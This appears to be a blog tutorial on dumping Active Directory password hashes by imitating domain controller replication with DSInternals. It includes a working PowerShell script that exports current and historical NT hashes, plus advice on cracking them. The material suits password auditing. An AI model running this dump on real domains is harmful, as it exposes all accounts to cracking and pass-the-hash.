Retrieving password hashes from Active Directory

In the world of IT and Active Directory, passwords are very personal. They protect access to personal and company data and tooling. Not even a system administrator can see what your password is. Windows credentials are validated against the Security Accounts Manager (SAM) database on the local computer, or against Active Directory on a domain-joined computer, through the Winlogon service. The Winlogon service initiates the login process by passing the credentials to the Local Security Authority (LSA).

At no point is the actual AD password of the user evaluated. The whole process is working based on hashes of the passwords. The password hashes are irreversibly generated at the time the password was last changed or set. The hash is stored in Active Directory, and from that point on, it is kept hidden, even from administrators. This is to prevent somebody from trying to crack it or use it in a pass-the-hash scenario.

The hash of an AD password is a cryptographic result, which was performed on the actual password. It works so that any given password will always result in the same hash, but given only a hash, it is impossible to reverse the calculation to know the cleartext password. This hash is called the NTLM hash, or more accurately, the NTHash.

Password housekeeping

The administrator of an Active Directory does not have access to the passwords of the user. They can change them but not see them. However, there are reasons you would like to know more about the passwords stored. It all depends on who you are:

  • Black Hat Hacker or Red Team: You would like to get a dump of all hashes to use a wordlist or rainbow table to see if any of the hashes match a known password, granting access to that account and possibly allow for lateral movement.
  • White Hat Hacker or System Administrator: You would like to see the hashes to scan for well-known weak passwords or look for excessive duplicates (the servicedesk handing out the same password to everybody).

But how would you get to this information if the hash never leaves the domain controllers? Sure, you could use the traditional offline trick of copying the SAM database from a stopped domain controller, but that would require access to the domain controller and perform actions that will not go unnoticed. If only there were a non-intrusive method of retrieving this information …

How to read NTLM hashes from Active Directory

The hashes don’t leave the secured environment of a domain controller. So the way to trick a domain controller into exposing a hash is to pretend to be part of the secured environment. A process hiding in plain sight can be used for this: the synchronization process between domain controllers. All domain controllers hold an up-to-date copy of the account database, after all.

Domain Replication Service using Get-ADReplAccount

This is done via the Directory Replication Service (DRS) protocol: the protocol for replicating data in Active Directory between Domain Controllers. The protocol specifications are available from Microsoft.

There is tooling available from DSInternals that can leverage this MS-DRS protocol via Powershell commands. This tooling fakes a domain synchronization and requests the entire user object, including the secret attributes. The command introduced for that is: Get-ADReplAccount

  • You need to be a domain admin or have gained the Replicating Directory Changes All permission on the domain or it will not work.
  • Download and install the Powershell modules from here: https://github.com/MichaelGrafnetter/DSInternals to your workstation.
  • Now copy the following Powershell script to your device, make the needed changes and run it.

The output will be a CSV file with each user account the current password hash, and if available any previous password hash that is stored in the account for the password history functionality.

###
### Script that will retrieve password hashes from AD 
### and place them in a CSV file for further processing.
### You NEED to have DSInternals tooling installed
###

$cred = Get-Credential

$server = "<domain controller>"
$file = "c:\windows\temp\outfile.csv"

Function GetLine ($sam){
 $s = $sam
 $account=Get-ADReplAccount -SamAccountName $sam -Server $server -Credential $cred
 for ($i=1;$i -le $account.nthashhistory.count;$i++){
  $h = ConvertTo-Hex -input $account.nthashhistory[$i-1]
  $s += ","+$h
  }
 return $s
}

#### MAIN SCRIPT

# Set filter to desired population (1 or more accounts are acceptable)
$accounts = Get-ADUser -Filter '(SamAccountname -like "John Doe")' -Server $server

# Loop and write to a file
foreach ($a in $accounts){
 GetLine ($a.SamAccountname) >> $file
}

What next?

Now that you have the hashes, you can sort them in Excel and look for obvious duplicates or hold them against your favorite wordlist or use online tooling to see and if you can identify some of them. It’s all up to you.